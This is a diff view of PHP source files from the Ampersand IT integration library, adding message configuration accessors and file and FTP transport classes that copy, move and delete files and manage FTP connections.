$messageName = $this->_xmlNamespace . ':' . $messageName;
|
133 |
+
}
|
134 |
+
|
135 |
+
return $messageName;
|
136 |
+
}
|
137 |
+
|
138 |
+
public function setXmlNamespace($xmlNamespace)
|
139 |
+
{
|
140 |
+
$this->_xmlNamespace = $xmlNamespace;
|
141 |
+
|
142 |
+
return $this;
|
143 |
+
}
|
144 |
+
|
145 |
+
public function getXmlNamespace()
|
146 |
+
{
|
147 |
+
return $this->_xmlNamespace;
|
148 |
+
}
|
149 |
+
|
150 |
+
public function setBaseOutgoingMessageConfig(Ampersand_Integration_Message_Config_Outgoing $config)
|
151 |
+
{
|
152 |
+
$this->_baseOutgoingMessageConfig = $config;
|
153 |
+
|
154 |
+
return $this;
|
155 |
+
}
|
156 |
+
|
157 |
+
/**
|
158 |
+
* @return Ampersand_Integration_Message_Config_Outgoing
|
159 |
+
*/
|
160 |
+
public function getBaseOutgoingMessageConfig()
|
161 |
+
{
|
162 |
+
if (is_null($this->_baseOutgoingMessageConfig)) {
|
163 |
+
throw new Ampersand_Integration_Exception('No outgoing message configuration specified');
|
164 |
+
}
|
165 |
+
if (!$this->_baseOutgoingMessageConfig instanceof Ampersand_Integration_Message_Config_Outgoing) {
|
166 |
+
throw new Ampersand_Integration_Exception('Invalid outgoing message configuration specified');
|
167 |
+
}
|
168 |
+
|
169 |
+
return $this->_baseOutgoingMessageConfig;
|
170 |
+
}
|
171 |
+
|
172 |
+
public function setBaseIncomingMessageConfig(Ampersand_Integration_Message_Config_Incoming $config)
|
173 |
+
{
|
174 |
+
$this->_baseIncomingMessageConfig = $config;
|
175 |
+
|
176 |
+
return $this;
|
177 |
+
}
|
178 |
+
|
179 |
+
/**
|
180 |
+
* @return Ampersand_Integration_Message_Config_Incoming
|
181 |
+
*/
|
182 |
+
public function getBaseIncomingMessageConfig()
|
183 |
+
{
|
184 |
+
if (is_null($this->_baseIncomingMessageConfig)) {
|
185 |
+
throw new Ampersand_Integration_Exception('No incoming message configuration specified');
|
186 |
+
}
|
187 |
+
if (!$this->_baseIncomingMessageConfig instanceof Ampersand_Integration_Message_Config_Incoming) {
|
188 |
+
throw new Ampersand_Integration_Exception('Invalid incoming message configuration specified');
|
189 |
+
}
|
190 |
+
|
191 |
+
return $this->_baseIncomingMessageConfig;
|
192 |
+
}
|
193 |
+
|
194 |
+
public function getNewOutgoingMessageConfig()
|
195 |
+
{
|
196 |
+
return clone $this->getBaseOutgoingMessageConfig();
|
197 |
+
}
|
198 |
+
|
199 |
+
public function getNewIncomingMessageConfig()
|
200 |
+
{
|
201 |
+
return clone $this->getBaseIncomingMessageConfig();
|
202 |
+
}
|
203 |
+
}
|
lib/Ampersand/Integration/Transport/Abstract.php
ADDED
@@ -0,0 +1,89 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Transport_Abstract
|
19 |
+
{
|
20 |
+
protected $_config;
|
21 |
+
protected $_debug;
|
22 |
+
protected $_isDebugReady = true;
|
23 |
+
|
24 |
+
public function setConfig($config)
|
25 |
+
{
|
26 |
+
if (is_array($config)) {
|
27 |
+
$config = new Ampersand_Object($config);
|
28 |
+
}
|
29 |
+
|
30 |
+
$this->_config = $config;
|
31 |
+
|
32 |
+
return $this;
|
33 |
+
}
|
34 |
+
|
35 |
+
public function getConfig()
|
36 |
+
{
|
37 |
+
if (is_null($this->_config)) {
|
38 |
+
$this->_config = new Ampersand_Object($this->_getDefaultConfigData());
|
39 |
+
}
|
40 |
+
|
41 |
+
return $this->_config;
|
42 |
+
}
|
43 |
+
|
44 |
+
protected function _getDefaultConfigData()
|
45 |
+
{
|
46 |
+
return array();
|
47 |
+
}
|
48 |
+
|
49 |
+
public function getDebugData()
|
50 |
+
{
|
51 |
+
return array();
|
52 |
+
}
|
53 |
+
|
54 |
+
public function setDebug(Ampersand_Integration_Debug_DebugInterface $debug)
|
55 |
+
{
|
56 |
+
$this->_debug = $debug;
|
57 |
+
|
58 |
+
return $this;
|
59 |
+
}
|
60 |
+
|
61 |
+
public function getDebug()
|
62 |
+
{
|
63 |
+
if (!$this->hasDebug()) {
|
64 |
+
$this->setDebug($this->_getNewDebugInstance());
|
65 |
+
}
|
66 |
+
|
67 |
+
if (!$this->_isDebugReady) {
|
68 |
+
$this->_prepareDebug($this->_debug);
|
69 |
+
$this->_isDebugReady = true;
|
70 |
+
}
|
71 |
+
|
72 |
+
return $this->_debug;
|
73 |
+
}
|
74 |
+
|
75 |
+
protected function _prepareDebug(Ampersand_Integration_Debug_DebugInterface $debug)
|
76 |
+
{
|
77 |
+
$debug->addData($this->getDebugData());
|
78 |
+
}
|
79 |
+
|
80 |
+
protected function _getNewDebugInstance()
|
81 |
+
{
|
82 |
+
return new Ampersand_Integration_Debug();
|
83 |
+
}
|
84 |
+
|
85 |
+
public function hasDebug()
|
86 |
+
{
|
87 |
+
return !is_null($this->_debug);
|
88 |
+
}
|
89 |
+
}
|
lib/Ampersand/Integration/Transport/Exception.php
ADDED
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Exception extends Ampersand_Integration_Exception
|
19 |
+
{
|
20 |
+
|
21 |
+
}
|
lib/Ampersand/Integration/Transport/FileTransferAbstract.php
ADDED
@@ -0,0 +1,236 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Transport_FileTransferAbstract
|
19 |
+
extends Ampersand_Integration_Transport_Abstract
|
20 |
+
{
|
21 |
+
const FAIL = 'fail'; // source_file_not_exists, destination_file_exists, cannot_delete_source_file
|
22 |
+
const GRACEFUL = 'graceful'; // source_file_not_exists, cannot_delete_source_file
|
23 |
+
const APPEND = 'append'; // destination_file_exists
|
24 |
+
const OVERWRITE = 'overwrite'; // destination_file_exists
|
25 |
+
|
26 |
+
public function getDebugData()
|
27 |
+
{
|
28 |
+
return array('type' => 'file_transfer', 'config' => $this->getConfig());
|
29 |
+
}
|
30 |
+
|
31 |
+
protected function _copyOrMove($config)
|
32 |
+
{
|
33 |
+
if ($config->getRemoveSourceFile()) {
|
34 |
+
return $this->_move($config);
|
35 |
+
}
|
36 |
+
|
37 |
+
return $this->_copy($config);
|
38 |
+
}
|
39 |
+
|
40 |
+
protected function _getSourcePath($config)
|
41 |
+
{
|
42 |
+
return $this->_buildFilePath(
|
43 |
+
$config->getSource()
|
44 |
+
);
|
45 |
+
}
|
46 |
+
|
47 |
+
protected function _getDestinationPath($config)
|
48 |
+
{
|
49 |
+
return $this->_buildFilePath(
|
50 |
+
$config->getDestination()
|
51 |
+
);
|
52 |
+
}
|
53 |
+
|
54 |
+
protected function _buildFilePath($pathData)
|
55 |
+
{
|
56 |
+
if (!is_array($pathData)) {
|
57 |
+
return null;
|
58 |
+
}
|
59 |
+
|
60 |
+
$pathConfig = new Ampersand_Object($pathData);
|
61 |
+
|
62 |
+
$path = $pathConfig->getBaseDirectoryPath();
|
63 |
+
|
64 |
+
if ($pathConfig->getDirectoryPath()) {
|
65 |
+
$path .= '/' . $pathConfig->getDirectoryPath();
|
66 |
+
}
|
67 |
+
|
68 |
+
if ($pathConfig->getFilename()) {
|
69 |
+
$path .= '/' . $pathConfig->getFilename();
|
70 |
+
|
71 |
+
if (($extension = $pathConfig->getFilenameExtension())
|
72 |
+
|| ($extension = $pathConfig->getFileExtension())) {
|
73 |
+
$path .= ".$extension";
|
74 |
+
}
|
75 |
+
}
|
76 |
+
|
77 |
+
return $path;
|
78 |
+
}
|
79 |
+
|
80 |
+
protected function _copy($config)
|
81 |
+
{
|
82 |
+
$sourcePath = $this->_getSourcePath($config);
|
83 |
+
|
84 |
+
if (!$this->_sourceFileExists($sourcePath)) {
|
85 |
+
$this->_handleSourceFileNotExists($config);
|
86 |
+
|
87 |
+
return false;
|
88 |
+
}
|
89 |
+
|
90 |
+
$destinationPath = $this->_getDestinationPath($config);
|
91 |
+
|
92 |
+
if ($this->_destinationFileExists($destinationPath)) {
|
93 |
+
$this->_handleDestinationFileExists($config);
|
94 |
+
if (self::APPEND === $config->getOnDestinationFileExists()) {
|
95 |
+
if (!$result = $this->_append($config)) {
|
96 |
+
$this->_handleCannotAppend($config);
|
97 |
+
|
98 |
+
if (self::OVERWRITE === $config->getOnCannotAppend()) {
|
99 |
+
unset($result);
|
100 |
+
}
|
101 |
+
}
|
102 |
+
} else if (self::GRACEFUL === $config->getOnDestinationFileExists()) {
|
103 |
+
$result = true;
|
104 |
+
}
|
105 |
+
}
|
106 |
+
|
107 |
+
if (!isset($result) && !$result = $this->_copyFile($sourcePath, $destinationPath)) {
|
108 |
+
$this->_handleCannotCopy($config);
|
109 |
+
}
|
110 |
+
|
111 |
+
return $result;
|
112 |
+
}
|
113 |
+
|
114 |
+
protected function _sourceFileExists($filePath)
|
115 |
+
{
|
116 |
+
return $this->_localFileExists($filePath);
|
117 |
+
}
|
118 |
+
|
119 |
+
protected function _destinationFileExists($filePath)
|
120 |
+
{
|
121 |
+
return $this->_localFileExists($filePath);
|
122 |
+
}
|
123 |
+
|
124 |
+
protected function _localFileExists($filePath)
|
125 |
+
{
|
126 |
+
return @file_exists($filePath);
|
127 |
+
}
|
128 |
+
|
129 |
+
protected function _copyFile($sourcePath, $destinationPath)
|
130 |
+
{
|
131 |
+
return @copy($sourcePath, $destinationPath);
|
132 |
+
}
|
133 |
+
|
134 |
+
protected function _delete($filePath)
|
135 |
+
{
|
136 |
+
return @unlink($filePath);
|
137 |
+
}
|
138 |
+
|
139 |
+
protected function _move($config)
|
140 |
+
{
|
141 |
+
$destination = $this->_copy($config);
|
142 |
+
|
143 |
+
$sourcePath = $this->_getSourcePath($config);
|
144 |
+
if (!$this->_delete($sourcePath)) {
|
145 |
+
$this->_handleCannotDeleteSourceFile($config);
|
146 |
+
}
|
147 |
+
|
148 |
+
return $destination;
|
149 |
+
}
|
150 |
+
|
151 |
+
/**
|
152 |
+
* @todo Implement this
|
153 |
+
*/
|
154 |
+
protected function _append($config)
|
155 |
+
{
|
156 |
+
return false;
|
157 |
+
}
|
158 |
+
|
159 |
+
protected function _handleCannotCopy($config)
|
160 |
+
{
|
161 |
+
throw new Ampersand_Integration_Transport_Exception(
|
162 |
+
'Could not copy the specified file'
|
163 |
+
);
|
164 |
+
}
|
165 |
+
|
166 |
+
protected function _handleSourceFileNotExists($config)
|
167 |
+
{
|
168 |
+
switch ($config->getOnSourceFileNotExists()) {
|
169 |
+
case self::GRACEFUL:
|
170 |
+
break;
|
171 |
+
case null:
|
172 |
+
case self::FAIL:
|
173 |
+
throw new Ampersand_Integration_Transport_Exception(
|
174 |
+
'Source file does not exist'
|
175 |
+
);
|
176 |
+
default:
|
177 |
+
throw new Ampersand_Integration_Transport_Exception(
|
178 |
+
'Invalid file not exists action specified'
|
179 |
+
);
|
180 |
+
}
|
181 |
+
}
|
182 |
+
|
183 |
+
protected function _handleDestinationFileExists($config)
|
184 |
+
{
|
185 |
+
switch ($config->getOnDestinationFileExists()) {
|
186 |
+
case self::APPEND:
|
187 |
+
case self::OVERWRITE:
|
188 |
+
case self::GRACEFUL:
|
189 |
+
break;
|
190 |
+
case null:
|
191 |
+
case self::FAIL:
|
192 |
+
throw new Ampersand_Integration_Transport_Exception(
|
193 |
+
'Destination file already exists'
|
194 |
+
);
|
195 |
+
default:
|
196 |
+
throw new Ampersand_Integration_Transport_Exception(
|
197 |
+
'Invalid file not exists action specified'
|
198 |
+
);
|
199 |
+
}
|
200 |
+
}
|
201 |
+
|
202 |
+
protected function _handleCannotDeleteSourceFile($config)
|
203 |
+
{
|
204 |
+
switch ($config->getOnCannotDeleteSourceFile()) {
|
205 |
+
case self::GRACEFUL:
|
206 |
+
break;
|
207 |
+
case null:
|
208 |
+
case self::FAIL:
|
209 |
+
throw new Ampersand_Integration_Transport_Exception(
|
210 |
+
'Cannot delete source file'
|
211 |
+
);
|
212 |
+
default:
|
213 |
+
throw new Ampersand_Integration_Transport_Exception(
|
214 |
+
'Invalid cannot delete source file action specified'
|
215 |
+
);
|
216 |
+
}
|
217 |
+
}
|
218 |
+
|
219 |
+
protected function _handleCannotAppend($config)
|
220 |
+
{
|
221 |
+
switch ($config->getOnCannotAppend()) {
|
222 |
+
case self::GRACEFUL:
|
223 |
+
case self::OVERWRITE:
|
224 |
+
break;
|
225 |
+
case null:
|
226 |
+
case self::FAIL:
|
227 |
+
throw new Ampersand_Integration_Transport_Exception(
|
228 |
+
'Cannot append source file content to destination file'
|
229 |
+
);
|
230 |
+
default:
|
231 |
+
throw new Ampersand_Integration_Transport_Exception(
|
232 |
+
'Invalid cannot delete source file action specified'
|
233 |
+
);
|
234 |
+
}
|
235 |
+
}
|
236 |
+
}
|
lib/Ampersand/Integration/Transport/FtpTransferAbstract.php
ADDED
@@ -0,0 +1,132 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Transport_FtpTransferAbstract
|
19 |
+
extends Ampersand_Integration_Transport_FileTransferAbstract
|
20 |
+
{
|
21 |
+
protected function _copyOrMove($config)
|
22 |
+
{
|
23 |
+
$this->_openConnection($config);
|
24 |
+
|
25 |
+
try {
|
26 |
+
$output = parent::_copyOrMove($config);
|
27 |
+
|
28 |
+
$this->_closeConnection();
|
29 |
+
|
30 |
+
return $output;
|
31 |
+
} catch (Exception $e) {
|
32 |
+
$this->_closeConnection();
|
33 |
+
|
34 |
+
throw $e;
|
35 |
+
}
|
36 |
+
}
|
37 |
+
|
38 |
+
protected function _ftpFileExists($filePath)
|
39 |
+
{
|
40 |
+
return (-1 !== ftp_size($this->_getConnection(), $filePath));
|
41 |
+
}
|
42 |
+
|
43 |
+
protected function _delete($filePath)
|
44 |
+
{
|
45 |
+
return @ftp_delete($this->_getConnection(), $filePath);
|
46 |
+
}
|
47 |
+
|
48 |
+
/**
|
49 |
+
* Gets the ftp transfer mode to use based on the passed configuration
|
50 |
+
*
|
51 |
+
* @param Ampersand_Object $config
|
52 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
53 |
+
*/
|
54 |
+
protected function _getTransferMode(Ampersand_Object $config)
|
55 |
+
{
|
56 |
+
switch ($config->getTransferMode()) {
|
57 |
+
default:
|
58 |
+
case Ampersand_Integration_Transport_Incoming_Ftp::TRANSFER_MODE_ASCII:
|
59 |
+
return FTP_ASCII;
|
60 |
+
case Ampersand_Integration_Transport_Incoming_Ftp::TRANSFER_MODE_BINARY:
|
61 |
+
return FTP_BINARY;
|
62 |
+
}
|
63 |
+
}
|
64 |
+
|
65 |
+
/**
|
66 |
+
* Opens an ftp connection and prepares it to be used based on the passed configuration
|
67 |
+
*
|
68 |
+
* @param Ampersand_Object $config
|
69 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
70 |
+
*/
|
71 |
+
protected function _openConnection(Ampersand_Object $config)
|
72 |
+
{
|
73 |
+
if (!$this->_ftpConnection = @ftp_connect($config->getHost())) {
|
74 |
+
throw new Ampersand_Integration_Transport_Exception(
|
75 |
+
'Unable to connection to specified ftp host.'
|
76 |
+
);
|
77 |
+
}
|
78 |
+
|
79 |
+
$this->_prepareConnection($this->_ftpConnection, $config);
|
80 |
+
}
|
81 |
+
|
82 |
+
/**
|
83 |
+
* Prepares an ftp connection to be used - e.g. logs in, sets passive or active mode, etc.
|
84 |
+
* - based on the passed configuration
|
85 |
+
*
|
86 |
+
* @param resource $connection
|
87 |
+
* @param Ampersand_Object $config
|
88 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
89 |
+
*/
|
90 |
+
protected function _prepareConnection($connection, Ampersand_Object $config)
|
91 |
+
{
|
92 |
+
if ($user = $config->getUser()) {
|
93 |
+
$password = $config->getPassword();
|
94 |
+
if (!@ftp_login($connection, $user, $password)) {
|
95 |
+
throw new Ampersand_Integration_Transport_Exception(
|
96 |
+
'Unable to log in using provided credentials.'
|
97 |
+
);
|
98 |
+
}
|
99 |
+
}
|
100 |
+
|
101 |
+
$usePassive = (bool) $config->getPassive();
|
102 |
+
if (!@ftp_pasv($connection, $usePassive)) {
|
103 |
+
throw new Ampersand_Integration_Transport_Exception(
|
104 |
+
"Unable to change ftp mode to '{$config->getMode()}'."
|
105 |
+
);
|
106 |
+
}
|
107 |
+
}
|
108 |
+
|
109 |
+
/**
|
110 |
+
* Closes the active ftp connection
|
111 |
+
*
|
112 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
113 |
+
*/
|
114 |
+
protected function _closeConnection()
|
115 |
+
{
|
116 |
+
if ($this->_getConnection()) {
|
117 |
+
@ftp_close($this->_getConnection());
|
118 |
+
unset($this->_connection);
|
119 |
+
}
|
120 |
+
}
|
121 |
+
|
122 |
+
/**
|
123 |
+
* Returns the active ftp connection
|
124 |
+
*
|
125 |
+
* @return resource
|
126 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
127 |
+
*/
|
128 |
+
protected function _getConnection()
|
129 |
+
{
|
130 |
+
return $this->_ftpConnection;
|
131 |
+
}
|
132 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/Abstract.php
ADDED
@@ -0,0 +1,65 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Transport_Incoming_Abstract
|
19 |
+
extends Ampersand_Integration_Transport_Abstract
|
20 |
+
implements Ampersand_Integration_Transport_Incoming_Interface
|
21 |
+
{
|
22 |
+
public function capture()
|
23 |
+
{
|
24 |
+
$output = $this->_capture($this->_getNewRequestContainer());
|
25 |
+
|
26 |
+
$this->_isDebugReady = false;
|
27 |
+
|
28 |
+
return $output;
|
29 |
+
}
|
30 |
+
|
31 |
+
public function respond(Ampersand_Integration_Message_Data_Response $response)
|
32 |
+
{
|
33 |
+
$this->_respond($response);
|
34 |
+
|
35 |
+
return $this;
|
36 |
+
}
|
37 |
+
|
38 |
+
protected function _capture(Ampersand_Integration_Message_Data_Request $request)
|
39 |
+
{
|
40 |
+
$request->setHeaders($this->_getHeaders())
|
41 |
+
->setContent($this->_getContent());
|
42 |
+
|
43 |
+
return $request;
|
44 |
+
}
|
45 |
+
|
46 |
+
protected function _respond(Ampersand_Integration_Message_Data_Response $response)
|
47 |
+
{
|
48 |
+
return $this;
|
49 |
+
}
|
50 |
+
|
51 |
+
protected function _getHeaders()
|
52 |
+
{
|
53 |
+
return array();
|
54 |
+
}
|
55 |
+
|
56 |
+
protected function _getContent()
|
57 |
+
{
|
58 |
+
return null;
|
59 |
+
}
|
60 |
+
|
61 |
+
protected function _getNewRequestContainer()
|
62 |
+
{
|
63 |
+
return new Ampersand_Integration_Message_Data_Request();
|
64 |
+
}
|
65 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/File.php
ADDED
@@ -0,0 +1,280 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Incoming_File
|
19 |
+
extends Ampersand_Integration_Transport_Incoming_Abstract
|
20 |
+
{
|
21 |
+
const FAIL = 'fail'; // file_not_exists
|
22 |
+
const GRACEFUL = 'graceful'; // file_not_exists
|
23 |
+
|
24 |
+
/**
|
25 |
+
* Captures the contents of a file according to the configuration
|
26 |
+
*
|
27 |
+
* @param Ampersand_Integration_Message_Data_Request $request
|
28 |
+
* @return Ampersand_Integration_Message_Data_Request
|
29 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
30 |
+
*/
|
31 |
+
protected function _capture(Ampersand_Integration_Message_Data_Request $request)
|
32 |
+
{
|
33 |
+
$config = $this->getConfig();
|
34 |
+
|
35 |
+
